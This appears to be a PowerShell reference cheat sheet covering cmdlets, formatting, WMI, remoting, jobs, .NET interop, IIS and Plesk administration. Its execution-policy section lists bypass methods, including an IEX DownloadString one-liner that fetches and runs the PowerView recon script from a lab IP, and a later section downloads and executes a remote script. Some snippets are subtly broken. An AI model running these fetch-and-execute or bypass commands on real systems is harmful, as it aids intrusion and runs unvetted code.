```
#Powershell basics:
#Displays help information.
Get-Help *event*
Get-Help Get-EventLog
Get-Help Get-EventLog -Online

#Update help.
Update-Help

#Gets all commands that are installed on the computer, including cmdlets,
aliases, functions, workflows, filters, scripts, and applications.
Get-Command -CommandType Cmdlet

#Lets you create a Windows PowerShell command in a command window.
Show-Command

#Gets approved Windows PowerShell verbs.
Get-Verb

#Gets the aliases in the current session
Get-Alias
Get-Alias -Definition 'Get-Service'

#To view the default module locations.
$env:psmodulepath

#Gets the modules that have been imported or that can be imported into the
current session.
Get-Module
Get-Module -ListAvailable

#Gets the members, the properties and methods, of objects.
Get-Member

#Selecting properties.
Get-EventLog -LogName Security | Select-Object -Property EventID,Message

#Performs an operation against each item in a collection of input objects.
Get-Process | ForEach-Object { $_.path }

$computers = 'SRV1','SRV2','SRV3'
$computers[0]
$computers = $computers | ForEach-Object {$_.ToLower()}

#Selects objects from a collection based on their property values.
Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4624}

#Compares two sets of objects.
Compare-Object -ReferenceObject (Import-Clixml .\p.xml) -DifferenceObject
(Get-Process) -Property name

#Sort objects.
Get-Process | Sort-Object -Property Vm -Descending

#Batch cmdlets.
Get-Service | Stop-Service
```

```
#Declare variable type.
Get-Help about_Variables
[int]$number = Read-Host "Enter a number"

#Input/Output.
Read-Host "Enter a number"
Write-Host "Colorful!" -Fore yellow -back magenta
Write-Host "Hello" | Where-Object {$_.length -gt 10}
Write-Output "Hello" | Where-Object {$_.length -gt 10}
Write-Warning
Write-Verbose
Write-Debug
Write-Error

#Unrolling properties and methods.
Get-Service | Select-Object -ExpandProperty Name
Get-Service | ForEach-Object {Write-Output $_.Name}

#Script Block.
$block = {Get-Process | Sort-Object -Property vm -Descending | Select-Object
-First 10}
&$block

#New module manifest.
New-ModuleManifest -Path PSHTools.psd1 -Author 'Mario Acosta' -CompanyName
'ACME' -Copyright '(c)2018 Mario Acosta' -Description 'Sample WMI Tools' -
ModuleVersion 1.0 -PowerShellVersion 3.0 -RootModule .\PSHTools.psm1


#Powershell Extensions:
#PSSnapin.
Gets the Windows PowerShell snap-ins on the computer.
Get-PSSnapin -Registered

#Modules.
Get-Content Env:PSModulePath

#Gets the modules that have been imported or that can be imported into the
current session.
Get-Module -ListAvailable

#Adds modules to the current session.
Import-Module


#Execution Policy:
#Gets the execution policies for the current session.
#Note:The execution policy is not a security system that restricts user
actions.
Get-ExecutionPolicy -List

#Changes the user preference for the Windows PowerShell execution policy.
Set-ExecutionPolicy Bypass
Set-ExecutionPolicy Restricted -Scope CurrentUser
Set-ExecutionPolicy AllSigned -Scope CurrentUser
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
```

```
Set-ExecutionPolicy Bypass -Scope CurrentUser

#Bypass Powershell execution policy.
#Method 1
Powershell.exe -executionpolicy Bypass -File .\PowerView.ps1
#Method 2
echo Write-Host "Bypass" | Powershell -noprofile -
#Method 3
Get-Content .\PowerView.ps1 | powershell.exe -noprofile -
#Method 4
Powershell.exe -Command "Write-Host 'Bypas!'"
#Method 4
Invoke-Command -ScriptBlock {Write-Host 'Bypass'}
#Method 5
$write = "write-host 'bypass!!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($write)
Powershell.exe -EncodedCommand $encoded
#Method 6
Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object
Net.WebClient).DownloadString('http://172.16.20.201/pw/Recon/PowerView.ps1');
Get-NetDomainController -Domain contoso.lab


#Windows PowerShell provider:
#Windows PowerShell providers let you access a variety of data stores as
though they were file system drives.
Get-PSProvider -PSProvider Registry
Get-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -REcurse

#Sets the current working location to a specified location.
Set-Location REGISTRY::

#Creates temporary and persistent mapped network drives.
New-PSDrive -name RegistryDrive -PSProvider Registry -Root
Registry::HKEY_CLASSES_ROOT
cd RegistryDrive:

#Gets information about the specified Windows PowerShell provider.
Get-PSProvider

#Gets drives in the current session.
Get-PSDrive

#List cmdlets to use with PSDrive.
Get-Command -Noun *Item*

#Sets the current working location to a specified location.
Set-Location -Path C:\

#Creates a new item.
New-Item -ItemType Directory -Name Test2

#Gets the properties of a specified item.
Get-ItemProperty
```

```
#Gets the files and folders in a file system drive.
Get-ChildItem


#Powershell Formatting:
#Formating tables.
Get-Service | Format-Table -AutoSize
Get-WmiObject Win32_OperatingSystem | Format-Table -Autosize
Get-Process | Format-Table -Property * -AutoSize
Get-Process | Format-Table -Property ID,Name,Responding -AutoSize
Get-Service | Sort-Object Status | Format-Table -GroupBy Status
Get-EventLog -LogName System -Newest 5 | Format-Table Source,Message -
AutoSize -Wrap

#Formating List.
Get-ChildItem | Format-List
Get-EventLog -LogName System -Newest 5 | Format-List -Property *

#Formating wide list.
Get-ChildItem | Format-Wide -Column 4
Get-EventLog -LogName Security -Newest 5 | Format-Wide -Property EventID -
Column 1

#Custom columns and list entries
Get-Service | Format-Table
@{name='ServiceName';expression={$_.Name}},Status,DisplayName
Get-Process | Format-Table -Property Name,
@{name='VM(MB)';expression={$_.VM/1MB -as [int]}} -AutoSize
Get-Process | Format-Table -Property Name,
@{name='VM(MB)';expression={$_.VM/1MB -as
[int]};formatstring='F2';align='right'} -AutoSize

#Out to.
Out-Host
Out-File
Out-Printer
Out-GridView

#Deletes output instead of sending it down the pipeline.
Get-Service | Out-Null

#Sends output to the command line.
Get-Service | Out-Host -Paging

#Sends output to a file.
Get-Service | Out-File services.txt
Get-ChildItem | Out-File -FilePath a.txt

#Sends output to an interactive table in a separate window.
Get-ChildItem | Out-GridView

#Convert to HTML.
Get-Process | ConvertTo-Html | Out-File p.html


#PowerShell Pipeline:
#Export/Import to CSV.
```

```
Get-Process | Export-Csv p.csv
Import-Csv .\p.csv

#Export/Import to xml.
Get-EventLog -LogName Security  -Newest 50 | Export-Clixml l.xml
Import-Clixml .\l.xml


#CIM/WMI:
#Windows Management Instrumentation (WMI) is Microsoft's implementation of
Web-Based Enterprise Management (WBEM), the industry standard.
#Classic WMI uses DCOM to communicate with networked devices to manage remote
systems. Windows PowerShell 3.0 introduces a CIM provider model that uses
WinRM to remove the dependency on DCOM.

#The following three components of WMI interact with Windows PowerShell:
Namespaces, Providers, and Classes.
#Namespaces are not physical locations, but are more like logical databases.
All WMI namespaces are instances of the __Namespace system class. The default
WMI namespace is Root/CIMV2

#To find WMI classes that are related to memory.
#Starting in Windows PowerShell 3.0, this cmdlet has been superseded by Get-
CimInstance
Get-WmiObject -List *Video*

#Get processes on the local computer.
Get-WmiObject -Class Win32_Process | Select-Object ProcessName

#Get WMI classes in the root or default namespace of the local computer.
Get-WmiObject -Namespace "root/default" -List

#Get WMI namespaces in the current session, use a command with the following
format.
Get-WmiObject -Class __Namespace

#To get WMI namespaces in other namespaces, use the Namespace parameter to
change the location of the search.
Get-WmiObject -Class __Namespace -Namespace root/cimv2/applications

#Get a named service on multiple computers.
Get-WmiObject -Class Win32_Service | Select-Object PSComputerName,Name,state
Get-WmiObject -Query "select * from win32_service" | Select-Object
PSComputerName,Name,state
Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" | Select-Object
PSComputerName,Name,state
Get-WmiObject -Class Win32_Service -Filter "name='WinRM'" -ComputerName CLI-
1,CLI-2,CLI-4 | Select-Object PSComputerName,Name,state

$bios = Get-WmiObject -Class Win32_Bios
$bios.Manufacturer

#The Invoke-WmiMethod cmdlet calls the methods of Windows Management
Instrumentation (WMI) objects.
#New Common Information Model (CIM) cmdlets, introduced in Windows PowerShell
3.0, perform the same tasks as the WMI cmdlets. The CIM cmdlets comply with
WS-Management (WSMan) standards and with the CIM standard, which enables the
```

```
cmdlets to use the same techniques to manage Windows computers and those
running other operating systems. Instead of using Invoke-WmiMethod , consider
using Invoke-CimMethod.
#CIM/WMI Invoking methods.
Get-WmiObject win32_networkadapterconfiguration -filter "description like
'%real%'" | Invoke-WmiMethod -name EnableDHCP
Get-WmiObject -Class Win32_Service -Filter "name='BITS'" | ForEach-Object -
Process {$_.change($null,$null,$null,$null,$null,$null,$null,"P@ssw0rd")}
Get-WmiObject -Class Win32_Service -Filter "name='BITS'" | %
{$_.change($null,$null,$null,$null,$null,$null,$null,"P@ssw0rd")}
Get-CimInstance -ClassName win32_networkadapterconfiguration -filter
"description like '%real%'" | Invoke-CimMethod -MethodName EnableDHCP

#Start an instance of an application.
Get-WmiObject -Class win32_process -List | Select-Object -ExpandProperty
Methods
(Get-WmiObject -Class win32_process -List).GetMethodParameters('create')
Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe

#The Remove-WmiObject cmdlet deletes an instance of an existing Windows
Management Instrumentation (WMI)class.
Invoke-WmiMethod -Path win32_process -Name create -ArgumentList
"powershell.exe -c Get-Service -noexit"
Get-WmiObject -Class win32_process -Filter "Name='Powershell.exe'" -
ComputerName CLI-1
Get-WmiObject -Class win32_process -Filter "Name='Powershell.exe'" -
ComputerName CLI-1 | Remove-WmiObject

Invoke-WmiMethod -Path win32_process -Name create -ArgumentList "notepad.exe"
-ComputerName CLI-1
(Get-WmiObject -Class win32_process -Filter "Name='Notepad.exe'" -
ComputerName CLI-1).terminate()


#COM Objects:
#Exploring
Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -include PROGID -recurse |
Foreach {$_.GetValue("")}

#Creating and using COM object.
$wscript = New-Object -ComObject WScript.Shell.1
$wscript.CurrentDirectory
$wscript.Popup("Hello")
$wscript.Exec("notepad.exe")


#PowerShell Remoting:
#Based on WSMAN Protocol and uses WinRM.
#Use a protocol call Web Services Of Management (WS-MAN)
#WS-MAN operates over HTTP or HTTPS (Default needs port 5985/HTTP and
5986/HTTPS)
#WS-MAN is implemented in form of a background WinRM services.

#Enable remoting.
Enable-PSRemoting

#They communicate over remote procedure calls RPCs (legacy cmdlets).
```

```
Get-WmiObject
Get-WmiObject -Namespace root\cimv2 -list
Get-WmiObject -Namespace root\cimv2 -class win32_desktop
Get-WmiObject Win32_Bios -ComputerName CLI-1,CLI-2,DC-1 | Format-Table
@{label='ComputerName';expression={$_.__Server}},@{label='BiosSerial';express
ion={$_.SerialNumber}},@{label='OSBuild';expression={gwmi -class
win32_operatingsystem -computer $_.__SERVER | Select-Object -expand
BuildNumber}} -autosize
Invoke-WmiMethod

#They communicate over WS-MAN (Implemented by the Windows Remote Management
or WinRM service).
Get-CimInstance
Invoke-CimMethod
Get-CimInstance -ClassName Win32_logicalDisk

#To verify that remoting is configured correctly.
#Note:To create remote sessions and run remote commands, by default, the
current user must be a member of the Administrators group on the remote
computer or provide the credentials of an administrator. Otherwise, the
command fails.
New-PSSession

#Several cmdlets have a ComputerName parameter that lets you get objects from
remote computers.
#These cmdlets do not use WS-Management-based Windows PowerShell remoting
Get-Command | where { $_.Parameters.Keys -contains "ComputerName" -and
$_.Parameters.Keys -NotContains "Session"}

#PSSSession.
Enter-PSSession -ComputerName CLI-3
Exit-PSSession

#Closes one or more Windows PowerShell sessions (PSSessions).
Remove-PSSession -Id 12

#Runs commands on local and remote computers.
Invoke-Command -ComputerName CLI-1,CLI-3 -command {Get-EventLog Security -
newest 10 | Where-Object -filter {$_.EventID -eq 1212}}
Invoke-Command -ComputerName DC-1 -ScriptBlock {Get-Host} -Credential
DOMAIN\Administrador
Invoke-Command -ComputerName DC-1,DC-2 -ScriptBlock {Get-
ADDefaultDomainPasswordPolicy} -Credential DOMAIN\Administrador
Invoke-Command -ScriptBlock {Get-CimInstance -ClassName Win32_logicalDisk} -
ComputerName DC-1 -Credential DOMAIN\Administrador
$version = Invoke-Command -ComputerName (Get-Content .\hosts.txt) -
ScriptBlock {Get-Host | Select-Object -ExpandProperty Version}

#Run a script on a server.
Invoke-Command -ComputerName CLI-4,CLI-2 -FilePath .\Check-VM.ps1

#To run a series of related commands that share data, use the New-PSSession
cmdlet to create a PSSession (a persistent connection) on the remote
computer.
$s = New-PSSession CLI-4,CLI-2
Invoke-Command -Session $s -ScriptBlock {$p = Get-Process}
Invoke-Command -Session $s -ScriptBlock {$p | foreach {$_.ProcessName}}
```

```
#Enter a command stored in a local variable.
$s = New-PSSession CLI-4,CLI-2
$command = {Get-EventLog -Log Security -Newest 1 | Select-Object -
ExpandProperty Message}
Invoke-Command -Session $s -ScriptBlock $command

#Implicit remoting.
$session = New-PSSession -ComputerName DC-1
Invoke-Command -Command {import-module activedirectory} -Session $session
Import-PSSession -Session $session -module activedirectory -Prefix rem
New-remADuser


#Powershell Jobs:
#Start Jobs.
Start-Job -ScriptBlock {dir}
Start-Job -ScriptBlock {Get-EventLog -LogName Security -Newest 5 -
ComputerName DC-1}

Get-Help * -Parameter asjob
Get-WmiObject win32_operatingsystem -ComputerName DC-1,CLI-1,CLI-2 -AsJob
Invoke-Command -Command {Get-Process} -ComputerName DC-1,SRV1,SRV2,SRV3 -
AsJob -JobName MyJob

#Get jobs.
Get-Job
Get-Job -Id 1 | Format-List *

#Stop a job.
Stop-Job -id 6

#Receive a job.
Receive-Job -Id 1
Receive-Job -Id 6 -Keep

#Deletes a job.
Get-Job | Remove-Job
Remove-Job -id 1

#Run a background job on several remote computers.
$s = New-PSSession CLI-4,CLI-2
Invoke-Command -Session $s -ScriptBlock{Get-EventLog -LogName "*Powershell" -
Newest 5} -AsJob
$j = Get-Job
$results = $j | Receive-Job

Invoke-Command -ScriptBlock {Get-ChildItem -path C:\ -Recurse -File -Name
*.ps1Get-ChildItem -path C:\ -Recurse -File -Name *.ps1} -ComputerName DC-
1,SRV1,CLI-1 -AsJob

#Scheduled Job.
Register-ScheduledJob -Name DailyProcList -ScriptBlock {Get-Process} -Trigger
(New-JobTrigger -Daily -At 2am) -ScheduledJobOption (New-ScheduledJobOption -
WakeToRun -RunElevated)
Get-ScheduledJob
```

```
$trigger=New-JobTrigger -At "6:00AM" -DaysOfWeek "Monday","Tuesday" -Weekly
$command={Get-EventLog -LogName System -Newest 25 -EntryType Error | Export-
Clixml c:\err.xml}
Register-ScheduledJob -Name "System Errors" -ScriptBlock $command -Trigger
$trigger
Get-ScheduledJob -Id 3


#.NET:
#Load assembly manually.
[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic') |
Out-null

#Instantiating a class.
$drive = New-Object -TypeName System.IO.DriveInfo -ArgumentList 'c:'

#Using reflection : Get-Member utilizes a .Net Framework feature called
reflection to see an object's members.
$drive | Get-Member

#Creates an instance of a Microsoft .NET Framework or COM object.
New-Object -TypeName System.Diagnostics.EventLog -ArgumentList Application
$wsh = New-Object -ComObject Wscript.Shell

#Explore assemblies.
[System.AppDomain]::CurrentDomain.GetAssemblies()

#Public Types.
[System.AppDomain]::CurrentDomain.GetAssemblies() | foreach {$_.GetTypes()} |
Where-Object {$_.IsPublic -eq "True"}
$cla = [System.AppDomain]::CurrentDomain.GetAssemblies() | foreach
{$_.GetTypes()} | Where-Object {$_.IsPublic -eq "True"}
$proc = $cla | Where-Object {$_.Name -contains "process"}
$proc.GetMethods() | Where-Object {$_.IsStatic -eq "True"} | Select-Object
name
$proc | Get-Member -MemberType Method -Static
[System.Diagnostics.Process]::GetProcesses()
$proc::GetProcesses()

#Adds a.NET Framework type (a class) to a Windows PowerShell session.
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show("Hello","Powershell",[System.Windows.
Forms.MessageBoxButtons]::YesNo)
$hots=[System.Net.Dns]::GetHostAddresses("www.google.com.pe")

#Add a .NET type to a session.
$Source = @"
    public class Test
    {
      public static string Hello()
        {
            return ("Hello Powershell!");
        }
      public int sumar(int a, int b)
        {
        return (a + b);
        }
```

```
    }
"@
Add-Type -TypeDefinition $source
[Test]::Hello()
$objectTest= New-Object Test
$objectTest.add(1,2)

#Generates a DLL file for the assembly.
Add-Type -TypeDefinition $source -OutputType Library -OutputAssembly
C:\Users\macos\Desktop\TestPS.dll
Add-Type -Path C:\Users\macos\Desktop\TestPS.dll
$n = New-Object ([Test]::new())
$n.sumar(1,2)

#Call native Windows APIs.
$Signature = @"
[DllImport("user32.dll")]public static extern bool ShowWindowAsync(IntPtr
hWnd, int nCmdShow);
"@
$ShowWindowAsync = Add-Type -MemberDefinition $Signature -Name
"Win32ShowWindowAsync" -Namespace Win32Functions -PassThru

# Minimize the Windows PowerShell console.
$ShowWindowAsync::ShowWindowAsync((Get-Process -Id $pid).MainWindowHandle, 2)
# Restore it.
$ShowWindowAsync::ShowWindowAsync((Get-Process -Id $Pid).MainWindowHandle, 4)


#Miscellaneous:
#The ConvertTo-SecureString cmdlet converts encrypted standard strings into
secure strings.
#Converts encrypted standard strings to secure strings. It can also convert
plain text to secure strings
ConvertTo-SecureString "Mi Clave" -AsPlainText -Force

#Convert a secure string to an encrypted string.
$Secure = Read-Host -AsSecureString
$Encrypted = ConvertFrom-SecureString -SecureString $Secure
$Secure2 = ConvertTo-SecureString -String $Encrypted

#Create a secure string from an encrypted string in a file.
$Secure = Read-Host -AsSecureString
$Encrypted = ConvertFrom-SecureString -SecureString $Secure -Key (1..16)
$Encrypted | Set-Content Encrypted.txt
$Secure2 = Get-Content Encrypted.txt | ConvertTo-SecureString -Key (1..16)

#The ConvertFrom-SecureString converts a secure string to an encrypted
standard string.
#Convert a secure string to an encrypted standard string with a 192-bit key
$SecureString = Read-Host -AsSecureString
$StandardString = ConvertFrom-SecureString $SecureString
$Key = (3,4,2,3,56,34,254,222,1,1,2,23,42,54,33,233,1,34,2,7,6,5,35,43)
$StandardString = ConvertFrom-SecureString $SecureString -Key $Key

#Gets a credential object based on a user name and password.
$credential = Get-Credential
```

```
###################
##
                    # Powershell Global #
                    ######################


                    # Help or Manual pages with Examples
                    man gwmi -examples  ## help


                    # List Global Aliases
                    alias | findstr /i ps  ## Get-Alias


                    # List all Commands
                    gcm  ## Get-Command


                    # List Environment Variables
                    gci env:  ## Get-ChildItem/dir
                    Set-Item -path env:TEAMS -value ($env:TEAMS + "finance")


                    # List Available Modules
                    gmo -listavailable  ## Get-Module


                    # List Module Commands
                    gcm -module webadministration  ## Get-Command


                    # List Roles and Features Installed
                    ipmo servermanager; get-windowsfeature | findstr '\[X\]'




                    ###############
                    # Formatting #
                    ###############


                    # User Input (read [-p])
```

```
$input = read-host "Choose an option: "


# Limit Output per Page (less/more)
gci -r | more


# Send Output to File
cat file.txt | Out-File [-append]  ## >


# Pipe Output to File (tee)
get-process | tee-object -file C:\output.txt


# Format Output in Columns or List (column -t)
dir | findstr "dll" | format-list
ps powershell | format-table -AutoSize -Wrap


# Sort Output by Column
dir | sort-object lastwritetime


# Trim/Select Output (head/tail)
gci | select -first 10
gci | select -last 10
gci | select -skip 1


# Pattern Matching (grep [-o|-v])
gci -r | findstr /i "string"
dir | ?{ $_ -match "dll|exe" }  ## NOT case-sensitive
dir | ?{ $_ -notmatch "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-
9]{1,3}" }  ## exclude
cat file.txt | select-string -not "^$|^#"


# Exclude Newline (echo -n)
$output | write-host -nonewline


# Replace Strings (sed/replace)
```

```
ps | foreach{$_ -replace "abc", "def"}
cat file.txt | %{ $a = $_ -replace "\s+", " "; $parts = $a.split();
$parts[1] }


# Count Lines (wc -l)
dir | measure-object  ## total entries
echo $orderedlist | group-object  ## sorted list


# Split Columns (awk/cut)
dir | %{ $_.fullname.split('\')[-1].split('.')[0] }


# Sum all Fields in a Column
cat .\test.csv | %{ [int]$total+=$_.Split(',')[2]; } ; Write-Host
"Total: $total"  ## Get-Content


# Number of Matches of a Pattern
Get-Content .\test.csv | %{ $a=$_.Split(','); Write-Host "Total
Fields"$a[0]"="$a.length; }




#########
# Logic #
#########


# For Loop (for)
dir | foreach { echo $_ }
dir | %{ echo $_ }


# Test if File Exists (-f|-d|-e)
test-path file.txt


# Time Duration of Command
measure-command { ps | out-host }
## OR
```

```
{ps | out-null}; $cmd = get-history -count 1; $cmd.endexecutiontime -
$cmd.startexecutiontime


# Sleep Delay
start-sleep 3; ps




###############
# Filesystem #
###############


# Locate File or Directory (find)
gci -rec | ?{ $_ -match "[a-z]+\.[a-z]+" }  ## Where-Object


# Disk Usage / List all Drives
gdr -psprovider 'filesystem'  ## Get-PSDrive
gwmi –query "select * from win32_logicaldisk where DriveType = '3'"
## Get-WmiObject


# Disk Usage (du)
dir -rec C:\subdir | %{ $total += $_.length }; write-host "Total:
$total";  ## SLOW


# Process List
ps
## OR
proc = subprocess.Popen([echo 'hello'], stdout=subprocess.PIPE,
shell=True)
(out.err) = proc.communicate()
print out


# Run an executable (eg. ./script.ps1)
&$env:plesk_bin\dbclient
&${env:plesk_bin}\dbclient.exe
"$env:plesk_bin\dbclient.exe"
```

```
"&$env:plesk_bin\dbclient.exe"


# Pass Argument Array to Executable
$arglist = @('-arg1', 'C:\path', '-arg2', 'file.txt')
& 'application.exe' $arglist




############
# Network #
############


# Network Statistics
netstat -oaf | ?{ $_ -notmatch "UDP" }  ## -b to show EXE
netstat -es  ## Sent/Received/Errors + Statistics per protocol
netstat -r  ## Routing table


# Search the Firewall
(new-object -comobject hnetcfg.fwpolicy2).rules | ?{ $_.enabled -eq
$true } | ?{ $_.remoteaddresses -match $ip }


# Download URL
(new-object system.net.webclient).downloadfile($url, $path)


# Execute Remote Commands
set-executionpolicy remotesigned -force;
(new-object
System.Net.WebClient).DownloadFile('https://files.hostname.com/script
.ps1', 'C:\filedir\script.ps1');
'C:\filedir\script.ps1';
rm 'C:\filedir\script.ps1';


# Add DNS zones back to MSDNS
dir "$env:windir\System32\dns\*.dns" | %{
$zone = $_.name -replace ".dns$", ""; echo "loading $zone..."; dnscmd
/zoneadd $zone /primary /load; }
```

```
# Mitigate SYN Flood
New-Item "HKLM:\system\currentcontrolset\services\tcpip\parameters"
## -Force to delete first
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'synattackprotect' -Value 1 -PropertyType "DWORD" -Force
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'tcpmaxconnectresponseretransmissions' -Value 2 -PropertyType "DWORD"
-Force
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'tcpmaxdataretransmissions' -Value 3 -PropertyType "DWORD" -Force
New-ItemProperty -Path
"HKLM:\system\currentcontrolset\services\tcpip\parameters" -Name
'enablepmtudiscovery' -Value 0 -PropertyType "DWORD" -Force




############
# Objects #
############


# Determine Object Type
(pwd).gettype()  ## Object[]
(pwd|out-string).gettype()  ## String


# List all Object Properties
ps powershell | format-list -property *


# List Properties of the Object Type
ps powershell | gm  ## Get-Member
(ps powershell).gettype() | gm  ## same thing


# Typecast - Force Type as an Array/String
[string](dir)  ## String
```

```
dir | out-string  ## String
$procs = @($str)  ## Object[]



#######
# IIS #
#######


# Import IIS Module
ipmo webadministration  ## Import-Module


# List all Sites
gci IIS:\Sites | select-object
name,applicationpool,physicalpath,state | format-table -autosize


# List all Applicaiton Pools
gci IIS:\AppPools | select-object
name,managedruntimeversion,managedpipelinemode,state | format-table -
autosize


# List all Application Pool users
dir IIS:\apppools | select name | %{ write-host $_.name"-
"$_.processmodel.username }


# Restart an Application Pool
(get-item "IIS:\AppPools\$pool").Start()


# Generate Application Pool password
Add-Type -Assembly System.Web
$pass = [Web.Security.Membership]::GeneratePassword(16,5)


# Reset Application Pool user password
net user "$identity" "$pass"
```

```
Set-ItemProperty "IIS:\AppPools\$pool" -name processModel -value
@{userName="$identity";password="$pass";identitytype=3}


# Show High Usage of Process (eg. w3wp.exe)
&${env:windir}\system32\inetsrv\appcmd.exe list wp | %{
$a=$_.replace('"','').split(' '); ps -id $a[1]; $a[2] }  ## Ugly
format


# Add bindings to existing site
gci IIS:\Sites | %{ $_.name } | ?{ $_ -match "[a-zA-Z0-9\.]+\.[a-zA-
Z]+" } \
       | %{ $binding="*:80:webmail." + $_; \
       &${env:windir}\system32\inetsrv\appcmd.exe" set site \
       /site.name:"webmail(horde)" \
       /+"bindings.[protocol='http',bindingInformation='$binding']"
}




#########
# Plesk #
#########


# Show Plesk Version
type $env:plesk_dir\version


# Show Available Plesk Versions
&$env:plesk_dir\admin\bin\ai.exe --show-all-releases


# Upgrade to Latest or Specified Version
&$env:plesk_bin\ai.exe --select-product-id panel --select-release-
current --reinstall-patch --install-component base
&$env:plesk_bin\dbupgrade.exe --upgrade --from-version=9.5.4 --to-
version=10.4.4
## Repeat for every major version
```

```
# Retrieve/Set Plesk Admin Password
&$env:plesk_bin\plesksrvclient -get
&$env:plesk_bin\plesksrvclient -set PASSWORD


# Plesk Database (psa) Tables
dir $env:plesk_dir\MySQL\Data\psa\*.frm | %{
$_.name.replace('.frm','') }


# Plesk Debug Mode
&$env:plesk_dir\admin\conf\panel.ini  ## rename panel.ini.sample




############
# Registry #
############


# Add New Registry Entry
New-Item "HKLM:\SYSTEM\CurrentControlSet\XYZ"  ## -Force to
delete/recreate folder
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\XYZ" -Name
Enabled -Value 0 -PropertyType "DWORD" -Force
```